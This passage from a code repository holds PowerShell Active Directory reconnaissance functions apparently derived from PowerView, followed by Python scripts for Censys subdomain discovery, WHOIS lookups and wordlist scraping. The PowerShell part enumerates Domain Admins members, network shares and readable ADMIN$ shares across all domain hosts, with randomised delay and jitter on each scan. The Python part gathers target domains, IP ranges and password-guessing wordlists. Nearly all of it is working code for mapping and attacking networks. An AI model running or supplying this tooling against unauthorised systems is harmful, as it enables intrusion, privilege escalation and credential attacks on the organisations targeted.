886 | $FullData,
887 |
888 | [Switch]
889 | $Recurse,
890 |
891 | [Switch]
892 | $UseMatchingRule,
893 |
894 | [ValidateRange(1,10000)]
895 | [Int]
896 | $PageSize = 200
897 | )
898 |
899 | begin {
900 | $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize
901 |
902 | if(!$DomainController) {
903 | $DomainController = ((Get-NetDomain).PdcRoleOwner).Name
904 | }
905 | }
906 |
907 | process {
908 |
909 | if ($GroupSearcher) {
910 |
911 | if ($Recurse -and $UseMatchingRule) {
912 | if ($GroupName) {
913 | $Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -FullData -PageSize $PageSize
914 | }
915 | elseif ($SID) {
916 | $Group = Get-NetGroup -SID $SID -Domain $Domain -FullData -PageSize $PageSize
917 | }
918 | else {
919 | $SID = (Get-DomainSID -Domain $Domain) + "-512"
920 | $Group = Get-NetGroup -SID $SID -Domain $Domain -FullData -PageSize $PageSize
921 | }
922 | $GroupDN = $Group.distinguishedname
923 | $GroupFoundName = $Group.name
924 |
925 | if ($GroupDN) {
926 | $GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupDN)$Filter)"
927 | $GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName','samaccounttype','lastlogon','lastlogontimestamp','dscorepropagationdata','objectsid','whencreated','badpasswordtime','accountexpires','iscriticalsystemobject','name','usnchanged','objectcategory','description','codepage','instancetype','countrycode','distinguishedname','cn','admincount','logonhours','objectclass','logoncount','usncreated','useraccountcontrol','objectguid','primarygroupid','lastlogoff','samaccountname','badpwdcount','whenchanged','memberof','pwdlastset','adspath'))
928 |
929 | $Members = $GroupSearcher.FindAll()
930 | $GroupFoundName = $GroupName
931 | }
932 | else {
933 | Write-Error "Unable to find Group"
934 | }
935 | }
936 | else {
937 | if ($GroupName) {
938 | $GroupSearcher.filter = "(&(objectCategory=group)(name=$GroupName)$Filter)"
939 | }
940 | elseif ($SID) {
941 | $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)"
942 | }
943 | else {
944 | $SID = (Get-DomainSID -Domain $Domain) + "-512"
945 | $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)"
946 | }
947 |
948 | $GroupSearcher.FindAll() | ForEach-Object {
949 | try {
950 | if (!($_) -or !($_.properties) -or !($_.properties.name)) { continue }
951 |
952 | $GroupFoundName = $_.properties.name[0]
953 | $Members = @()
954 |
955 | if ($_.properties.member.Count -eq 0) {
956 | $Finished = $False
957 | $Bottom = 0
958 | $Top = 0
959 | while(!$Finished) {
960 | $Top = $Bottom + 1499
961 | $MemberRange="member;range=$Bottom-$Top"
962 | $Bottom += 1500
963 | $GroupSearcher.PropertiesToLoad.Clear()
964 | [void]$GroupSearcher.PropertiesToLoad.Add("$MemberRange")
965 | try {
966 | $Result = $GroupSearcher.FindOne()
967 | if ($Result) {
968 | $RangedProperty = $_.Properties.PropertyNames -like "member;range=*"
969 | $Results = $_.Properties.item($RangedProperty)
970 | if ($Results.count -eq 0) {
971 | $Finished = $True
972 | }
973 | else {
974 | $Results | ForEach-Object {
975 | $Members += $_
976 | }
977 | }
978 | }
979 | else {
980 | $Finished = $True
981 | }
982 | }
983 | catch [System.Management.Automation.MethodInvocationException] {
984 | $Finished = $True
985 | }
986 | }
987 | }
988 | else {
989 | $Members = $_.properties.member
990 | }
991 | }
992 | catch {
993 | Write-Verbose $_
994 | }
995 | }
996 | }
997 |
998 | $Members | Where-Object {$_} | ForEach-Object {
999 | if ($Recurse -and $UseMatchingRule) {
1000 | $Properties = $_.Properties
1001 | }
1002 | else {
1003 | if($DomainController) {
1004 | $Result = [adsi]"LDAP://$DomainController/$_"
1005 | }
1006 | else {
1007 | $Result = [adsi]"LDAP://$_"
1008 | }
1009 | if($Result){
1010 | $Properties = $Result.Properties
1011 | }
1012 | }
1013 |
1014 | if($Properties) {
1015 |
1016 | if($Properties.samaccounttype -notmatch '805306368') {
1017 | $IsGroup = $True
1018 | }
1019 | else {
1020 | $IsGroup = $False
1021 | }
1022 |
1023 | if ($FullData) {
1024 | $GroupMember = Convert-LDAPProperty -Properties $Properties
1025 | }
1026 | else {
1027 | $GroupMember = New-Object PSObject
1028 | }
1029 |
1030 | $GroupMember | Add-Member Noteproperty 'GroupDomain' $Domain
1031 | $GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName
1032 |
1033 | try {
1034 | $MemberDN = $Properties.distinguishedname[0]
1035 |
1036 | $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
1037 | }
1038 | catch {
1039 | $MemberDN = $Null
1040 | $MemberDomain = $Null
1041 | }
1042 |
1043 | if ($Properties.samaccountname) {
1044 | $MemberName = $Properties.samaccountname[0]
1045 | }
1046 | else {
1047 | try {
1048 | $MemberName = Convert-SidToName $Properties.cn[0]
1049 | }
1050 | catch {
1051 | $MemberName = $Properties.cn
1052 | }
1053 | }
1054 |
1055 | if($Properties.objectSid) {
1056 | $MemberSid = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectSid[0],0).Value)
1057 | }
1058 | else {
1059 | $MemberSid = $Null
1060 | }
1061 |
1062 | $GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain
1063 | $GroupMember | Add-Member Noteproperty 'MemberName' $MemberName
1064 | $GroupMember | Add-Member Noteproperty 'MemberSid' $MemberSid
1065 | $GroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup
1066 | $GroupMember | Add-Member Noteproperty 'MemberDN' $MemberDN
1067 | $GroupMember
1068 |
1069 | if ($Recurse -and !$UseMatchingRule -and $IsGroup -and $MemberName) {
1070 | Get-NetGroupMember -FullData -Domain $MemberDomain -DomainController $DomainController -GroupName $MemberName -Recurse -PageSize $PageSize
1071 | }
1072 | }
1073 |
1074 | }
1075 | }
1076 | }
1077 | }
1078 |
1079 | function Get-NetShare {
1080 | [CmdletBinding()]
1081 | param(
1082 | [Parameter(ValueFromPipeline=$True)]
1083 | [Alias('HostName')]
1084 | [String]
1085 | $ComputerName = 'localhost'
1086 | )
1087 |
1088 | begin {
1089 | if ($PSBoundParameters['Debug']) {
1090 | $DebugPreference = 'Continue'
1091 | }
1092 | }
1093 |
1094 | process {
1095 |
1096 | $ComputerName = Get-NameField -Object $ComputerName
1097 |
1098 | $QueryLevel = 1
1099 | $PtrInfo = [IntPtr]::Zero
1100 | $EntriesRead = 0
1101 | $TotalRead = 0
1102 | $ResumeHandle = 0
1103 |
1104 | $Result = $Netapi32::NetShareEnum($ComputerName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
1105 |
1106 | $Offset = $PtrInfo.ToInt64()
1107 |
1108 | Write-Debug "Get-NetShare result: $Result"
1109 |
1110 | if (($Result -eq 0) -and ($Offset -gt 0)) {
1111 |
1112 | $Increment = $SHARE_INFO_1::GetSize()
1113 |
1114 | for ($i = 0; ($i -lt $EntriesRead); $i++) {
1115 | $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
1116 | $Info = $NewIntPtr -as $SHARE_INFO_1
1117 | $Info | Select-Object *
1118 | $Offset = $NewIntPtr.ToInt64()
1119 | $Offset += $Increment
1120 | }
1121 |
1122 | $Null = $Netapi32::NetApiBufferFree($PtrInfo)
1123 | }
1124 | else
1125 | {
1126 | switch ($Result) {
1127 | (5) {Write-Debug 'The user does not have access to the requested information.'}
1128 | (124) {Write-Debug 'The value specified for the level parameter is not valid.'}
1129 | (87) {Write-Debug 'The specified parameter is not valid.'}
1130 | (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'}
1131 | (8) {Write-Debug 'Insufficient memory is available.'}
1132 | (2312) {Write-Debug 'A session does not exist with the computer name.'}
1133 | (2351) {Write-Debug 'The computer name is not valid.'}
1134 | (2221) {Write-Debug 'Username not found.'}
1135 | (53) {Write-Debug 'Hostname could not be found'}
1136 | }
1137 | }
1138 | }
1139 | }
1140 |
1141 |
1142 | function Get-NameField {
1143 |
1144 | [CmdletBinding()]
1145 | param(
1146 | [Parameter(Mandatory=$True,ValueFromPipeline=$True)]
1147 | $Object
1148 | )
1149 | process {
1150 | if($Object) {
1151 | if ( [bool]($Object.PSobject.Properties.name -match "dnshostname") ) {
1152 | $Object.dnshostname
1153 | }
1154 | elseif ( [bool]($Object.PSobject.Properties.name -match "name") ) {
1155 | $Object.name
1156 | }
1157 | else {
1158 | $Object
1159 | }
1160 | }
1161 | else {
1162 | return $Null
1163 | }
1164 | }
1165 | }
1166 |
1167 | function Invoke-ShareFinder {
1168 | [CmdletBinding()]
1169 | param(
1170 | [Parameter(Position=0,ValueFromPipeline=$True)]
1171 | [Alias('Hosts')]
1172 | [String[]]
1173 | $ComputerName,
1174 |
1175 | [ValidateScript({Test-Path -Path $_ })]
1176 | [Alias('HostList')]
1177 | [String]
1178 | $ComputerFile,
1179 |
1180 | [String]
1181 | $ComputerFilter,
1182 |
1183 | [String]
1184 | $ComputerADSpath,
1185 |
1186 | [Switch]
1187 | $ExcludeStandard,
1188 |
1189 | [Switch]
1190 | $ExcludePrint,
1191 |
1192 | [Switch]
1193 | $ExcludeIPC,
1194 |
1195 | [Switch]
1196 | $NoPing,
1197 |
1198 | [Switch]
1199 | $CheckShareAccess,
1200 |
1201 | [Switch]
1202 | $CheckAdmin,
1203 |
1204 | [UInt32]
1205 | $Delay = 0,
1206 |
1207 | [Double]
1208 | $Jitter = .3,
1209 |
1210 | [String]
1211 | $Domain,
1212 |
1213 | [String]
1214 | $DomainController,
1215 |
1216 | [Switch]
1217 | $SearchForest,
1218 |
1219 | [ValidateRange(1,100)]
1220 | [Int]
1221 | $Threads
1222 | )
1223 |
1224 | begin {
1225 | if ($PSBoundParameters['Debug']) {
1226 | $DebugPreference = 'Continue'
1227 | }
1228 |
1229 | $RandNo = New-Object System.Random
1230 |
1231 | Write-Verbose "[*] Running with delay of $Delay"
1232 |
1233 | [String[]] $ExcludedShares = @('')
1234 |
1235 | if(!$ComputerName) {
1236 |
1237 | if($Domain) {
1238 | $TargetDomains = @($Domain)
1239 | }
1240 | elseif($SearchForest) {
1241 | $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }
1242 | }
1243 | else {
1244 | $TargetDomains = @( (Get-NetDomain).name )
1245 | }
1246 |
1247 | if($ComputerFile) {
1248 | $ComputerName = Get-Content -Path $ComputerFile
1249 | }
1250 | else {
1251 | [array]$ComputerName = @()
1252 | ForEach ($Domain in $TargetDomains) {
1253 | Write-Verbose "[*] Querying domain $Domain for hosts"
1254 | $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath
1255 | }
1256 | }
1257 |
1258 | $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
1259 | if($($ComputerName.count) -eq 0) {
1260 | throw "No hosts found!"
1261 | }
1262 | }
1263 |
1264 | $HostEnumBlock = {
1265 | param($ComputerName, $Ping, $CheckShareAccess, $ExcludedShares, $CheckAdmin)
1266 |
1267 | $Up = $True
1268 | if($Ping) {
1269 | $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
1270 | }
1271 | if($Up) {
1272 | $Shares = Get-NetShare -ComputerName $ComputerName
1273 | ForEach ($Share in $Shares) {
1274 | Write-Debug "[*] Server share: $Share"
1275 | $NetName = $Share.shi1_netname
1276 | $Remark = $Share.shi1_remark
1277 | $Path = '\\'+$ComputerName+'\'+$NetName
1278 |
1279 | if (($NetName) -and ($NetName.trim() -ne '')) {
1280 | if($CheckAdmin) {
1281 | if($NetName.ToUpper() -eq "ADMIN$") {
1282 | try {
1283 | $Null = [IO.Directory]::GetFiles($Path)
1284 | "\\$ComputerName\$NetName `t- $Remark"
1285 | }
1286 | catch {
1287 | Write-Debug "Error accessing path $Path : $_"
1288 | }
1289 | }
1290 | }
1291 | elseif ($ExcludedShares -NotContains $NetName.ToUpper()) {
1292 | if($CheckShareAccess) {
1293 | try {
1294 | $Null = [IO.Directory]::GetFiles($Path)
1295 | "\\$ComputerName\$NetName `t- $Remark"
1296 | }
1297 | catch {
1298 | Write-Debug "Error accessing path $Path : $_"
1299 | }
1300 | }
1301 | else {
1302 | "\\$ComputerName\$NetName `t- $Remark"
1303 | }
1304 | }
1305 | }
1306 | }
1307 | }
1308 | }
1309 |
1310 | }
1311 |
1312 | process {
1313 |
1314 | if($Threads) {
1315 | Write-Verbose "Using threading with threads = $Threads"
1316 |
1317 | $ScriptParams = @{
1318 | 'Ping' = $(-not $NoPing)
1319 | 'CheckShareAccess' = $CheckShareAccess
1320 | 'ExcludedShares' = $ExcludedShares
1321 | 'CheckAdmin' = $CheckAdmin
1322 | }
1323 |
1324 | Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams
1325 | }
1326 |
1327 | else {
1328 | if(-not $NoPing -and ($ComputerName.count -ne 1)) {
1329 | $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
1330 | $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
1331 | }
1332 |
1333 | Write-Verbose "[*] active hosts: $($ComputerName.count)"
1334 | $Counter = 0
1335 |
1336 | ForEach ($Computer in $ComputerName) {
1337 |
1338 | $Counter = $Counter + 1
1339 |
1340 | Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
1341 |
1342 | Write-Verbose "[*] server $Computer ($Counter of $($ComputerName.count))"
1343 | Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $CheckShareAccess, $ExcludedShares, $CheckAdmin
1344 | }
1345 | }
1346 |
1347 | }
1348 | }
1349 |
1350 | function Invoke-ThreadedFunction {
1351 | # Helper used by any threaded host enumeration functions
1352 | [CmdletBinding()]
1353 | param(
1354 | [Parameter(Position=0,Mandatory=$True)]
1355 | [String[]]
1356 | $ComputerName,
1357 |
1358 | [Parameter(Position=1,Mandatory=$True)]
1359 | [System.Management.Automation.ScriptBlock]
1360 | $ScriptBlock,
1361 |
1362 | [Parameter(Position=2)]
1363 | [Hashtable]
1364 | $ScriptParameters,
1365 |
1366 | [Int]
1367 | $Threads = 20,
1368 |
1369 | [Switch]
1370 | $NoImports
1371 | )
1372 |
1373 | begin {
1374 |
1375 | if ($PSBoundParameters['Debug']) {
1376 | $DebugPreference = 'Continue'
1377 | }
1378 |
1379 | Write-Verbose "[*] hosts: $($ComputerName.count)"
1380 |
1381 | $SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault()
1382 | $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState()
1383 |
1384 | if(!$NoImports) {
1385 |
1386 | $MyVars = Get-Variable -Scope 2
1387 |
1388 | $VorbiddenVars = @("")
1389 |
1390 | ForEach($Var in $MyVars) {
1391 | if($VorbiddenVars -NotContains $Var.Name) {
1392 | $SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes))
1393 | }
1394 | }
1395 |
1396 | ForEach($Function in (Get-ChildItem Function:)) {
1397 | $SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition))
1398 | }
1399 | }
1400 |
1401 | $Pool = [runspacefactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host)
1402 | $Pool.Open()
1403 |
1404 | $Jobs = @()
1405 | $PS = @()
1406 | $Wait = @()
1407 |
1408 | $Counter = 0
1409 | }
1410 |
1411 | process {
1412 |
1413 | ForEach ($Computer in $ComputerName) {
1414 |
1415 | if ($Computer -ne '') {
1416 | While ($($Pool.GetAvailableRunspaces()) -le 0) {
1417 | Start-Sleep -MilliSeconds 500
1418 | }
1419 |
1420 | $PS += [powershell]::create()
1421 |
1422 | $PS[$Counter].runspacepool = $Pool
1423 |
1424 | $Null = $PS[$Counter].AddScript($ScriptBlock).AddParameter('ComputerName', $Computer)
1425 | if($ScriptParameters) {
1426 | ForEach ($Param in $ScriptParameters.GetEnumerator()) {
1427 | $Null = $PS[$Counter].AddParameter($Param.Name, $Param.Value)
1428 | }
1429 | }
1430 |
1431 | $Jobs += $PS[$Counter].BeginInvoke();
1432 |
1433 | $Wait += $Jobs[$Counter].AsyncWaitHandle
1434 | }
1435 | $Counter = $Counter + 1
1436 | }
1437 | }
1438 |
1439 | end {
1440 |
1441 | Write-Verbose "Waiting for scanning threads to finish..."
1442 |
1443 | $WaitTimeout = Get-Date
1444 |
1445 | while ($($Jobs | Where-Object {$_.IsCompleted -eq $False}).count -gt 0 -or $($($(Get-Date) - $WaitTimeout).totalSeconds) -gt 60) {
1446 | Start-Sleep -MilliSeconds 500
1447 | }
1448 |
1449 | for ($y = 0; $y -lt $Counter; $y++) {
1450 |
1451 | try {
1452 | $PS[$y].EndInvoke($Jobs[$y])
1453 |
1454 | } catch {
1455 | Write-Warning "error: $_"
1456 | }
1457 | finally {
1458 | $PS[$y].Dispose()
1459 | }
1460 | }
1461 |
1462 | $Pool.Dispose()
1463 | Write-Verbose "All threads completed!"
1464 | }
1465 | }
1466 |
--------------------------------------------------------------------------------
/py_scripts/censys_search.py:
--------------------------------------------------------------------------------
1 | import sys, json, requests, logging, os
2 | import censys.certificates
3 |
4 | API_URL = "https://censys.io/api/v1"
5 |
6 | logging.basicConfig(level=logging.INFO)
7 | logger = logging.getLogger(__name__)
8 |
9 |
10 | def close_to_domain(candidate, target_domain, domain_array):
11 | if any(x in candidate for x in domain_array):
12 | return True
13 | return False
14 |
15 |
16 | def show_censys_data(domain, uid, secret):
17 | logger.info("Looking up {} on censys".format(domain))
18 | domains = set()
19 | domain_array = domain.split(".")
20 | domain_array.pop()
21 |
22 | certificates = censys.certificates.CensysCertificates(uid, secret)
23 | fields = ["parsed.names"]
24 |
25 | for c in certificates.search("parsed.names: %s" % domain, fields=fields):
26 | for d in c["parsed.names"]:
27 | if close_to_domain(d, domain, domain_array):
28 | domains.add(d)
29 |
30 | logger.info("Found {} unique domains".format(len(domains)))
31 | for d in domains:
32 | print(d)
33 |
34 |
35 | def check_api_keys():
36 | if os.environ.get("CENSYS_ID") is None or os.environ.get("CENSYS_SECRET") is None:
37 | logger.warning("Missing CENSYS_ID or CENSYS_SECRET env var")
38 | sys.exit(-1)
39 |
40 |
41 | if __name__ == "__main__":
42 | if len(sys.argv) < 2:
43 | print("usage {} ".format(sys.argv[0]))
44 | sys.exit(-1)
45 | check_api_keys()
46 | uid = os.environ.get("CENSYS_ID")
47 | secret = os.environ.get("CENSYS_SECRET")
48 |
49 | show_censys_data(sys.argv[1], uid, secret)
50 |
--------------------------------------------------------------------------------
/py_scripts/query_whois.py:
--------------------------------------------------------------------------------
1 | import socket, sys, re, logging
2 | from subprocess import Popen, PIPE
3 |
4 | logging.basicConfig(level=logging.INFO)
5 | logger = logging.getLogger(__name__)
6 |
7 |
8 | def usage():
9 | if len(sys.argv) < 2:
10 | print("usage query_whois.py ")
11 | print("\t contains a domain per line")
12 | sys.exit(-1)
13 |
14 | def catch_word(pattern, output):
15 | match = re.search('%s(.+)' % pattern, output)
16 | return match.group(1)
17 |
18 | def get_ip_from_domain(domain_name):
19 | try:
20 | return socket.gethostbyname(domain_name)
21 | except Exception as e:
22 | logger.warn("Could not resolve %s - %s" % (domain_name, e))
23 | return None
24 |
25 | def parse_whoise(ip_address):
26 | netname, inetnum, country = "N/A", "N/A", "N/A"
27 | p = Popen(['whois', ip_address], stdin=PIPE, stdout=PIPE, stderr=PIPE)
28 | output, err = p.communicate()
29 |
30 | rc = p.returncode
31 | output = output.lower().decode()
32 | if rc == 0:
33 | netname = catch_word("netname:", output).strip()
34 | country = catch_word("country:", output).strip()
35 | if "netrange" in output:
36 | inetnum = catch_word("netrange:", output).strip()
37 | elif "inetnum" in output:
38 | inetnum = catch_word("inetnum:", output).strip()
39 | return netname, inetnum, country
40 |
41 | def run():
42 | print("domain,netname,ip range,country")
43 | with open(sys.argv[1], "r") as ins:
44 | for line in ins:
45 | domain_name = line.strip()
46 | ip_address = get_ip_from_domain(domain_name)
47 | if ip_address is None:
48 | print("{},,,".format(domain_name))
49 | continue
50 | netname, inetnum, country = parse_whoise(ip_address)
51 | print("{},{},{},{}".format(domain_name, netname, inetnum, country))
52 |
53 |
54 | if __name__ == "__main__":
55 | usage()
56 | run()
57 |
--------------------------------------------------------------------------------
/py_scripts/wordcollector.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python2.7
2 |
3 | ''' Creates wordlists from web scraping. BeautifulSoup requierd (pip install beautifulsoup)
4 | Writes output to wordlist.txt in the same directory
5 | Adapter from the work of https://gist.github.com/melpomene/1277869
6 |
7 | '''
8 | import sys
9 | import os
10 | import robotparser
11 | from BeautifulSoup import BeautifulSoup as bs
12 | import urllib2
13 | from urlparse import urlparse
14 |
15 | PATH = './wordlist.txt'
16 |
17 | visited =[]
18 |
19 | def check(word):
20 |
21 | if len(word)> 13 or len(word)< 6:
22 | return False;
23 | if "<" in word or ">" in word:
24 | return False;
25 | if set('[~!@#$%^&*()_+{}":;\'\\-]+$.,').intersection(word):
26 | return False;
27 |
28 | return True
29 |
30 | ''' Returns all links found on page'''
31 | def return_links(raw_page):
32 | soup = bs(raw_page)
33 | links = []
34 | for link in soup.findAll('a'):
35 | links.append(link.get('href'))
36 | return links
37 |
38 | ''' Saves all words in source code seperated with whitespace to file (on PATH) with one word per row'''
39 | def save_wordlist(raw_page):
40 | soup = bs(raw_page)
41 | wordlist = str.split(soup.__str__())
42 | f = open(PATH, 'a')
43 | for word in wordlist:
44 | if check(word):
45 | print word.lower()
46 | f.write(word.lower()+'\n')
47 | f.close()
48 |
49 | ''' Recursive method that checks Robotparser if it is allowed to crawl and if allowed
50 | it parses all word and make recursive call to all found URLs'''
51 | def scrape(baseurl, page, rp):
52 | if page is None:
53 | return
54 | url = urlparse(page)
55 | if url.netloc=="":
56 | if(baseurl[-1] != "/" and url.path != "" and url.path[0] != "/"):
57 | baseurl = baseurl + "/"
58 | newurl = baseurl + url.path
59 | if "http" not in newurl:
60 | newurl = "http://"+newurl
61 | else:
62 | if baseurl != url.netloc:
63 | rp.set_url("http://" +url.netloc + "/robots.txt")
64 | rp.read()
65 | if verbose:
66 | print "Checking robot.txt on : "+ "http://" +baseurl + "/robots.txt"
67 |
68 | newurl = url.geturl()
69 | baseurl = url.netloc
70 | #recheck robots.txt
71 |
72 |
73 |
74 | if newurl in visited:
75 | return
76 |
77 | visited.append(newurl)
78 | if rp.can_fetch("*", newurl):
79 | if verbose:
80 | print "Allowed to fetch page "+newurl+". Initiating scrape."
81 | try:
82 | raw_page = urllib2.urlopen(newurl)
83 | raw_page = raw_page.read()
84 | #scrape for words.
85 | save_wordlist(raw_page)
86 |
87 | # scrape for links. Foreach link scrape.
88 | links = return_links(raw_page)
89 | if not links:
90 | return
91 | for link in links:
92 | scrape(baseurl, link, rp)
93 | except (urllib2.URLError, urllib2.HTTPError, ValueError):
94 | return
95 |
96 |
97 |
98 | else:
99 | if verbose:
100 | print "Not allowed to fetch page "+baseurl+page+". Shutting down operations"
101 | return
102 |
103 |
104 |
105 |
106 | if __name__ == "__main__":
107 | if len(sys.argv) == 1:
108 | print "Call with 'python wordcollector.py [--verbose] [url]'"
109 | exit()
110 | if sys.argv[1] == '--verbose':
111 | if len(sys.argv) == 2:
112 | print "Call with 'python wordcollector.py [--verbose] [url]'"
113 | exit()
114 | verbose = True
115 | url = sys.argv[2]
116 | else:
117 | verbose = False
118 | url = sys.argv[1]
119 |
120 | if verbose :
121 | print "URL: " + url
122 | print "OUTPUT: " + PATH
123 |
124 | if verbose:
125 | print "Reading " + url +"/robots.txt"
126 | rp = robotparser.RobotFileParser()
127 | rp.set_url(url + "/robots.txt")
128 | rp.read()
129 | if rp.can_fetch("*", url):
130 | if verbose:
131 | print "Allowed to fetch root. Initiating reqursive scrape."
132 | # INITIATE RECURSIVE SCRAPE.
133 | try:
134 | scrape(url, "", rp)
135 | except KeyboardInterrupt:
136 | pass
137 | if verbose:
138 | print""
139 | print "---------------------"
140 | print "Scrape was completed. Check " + PATH
141 |
142 |
143 | else:
144 | if verbose:
145 | print "Not allowed to fetch root. Shutting down operations"
146 | exit()
147 |
--------------------------------------------------------------------------------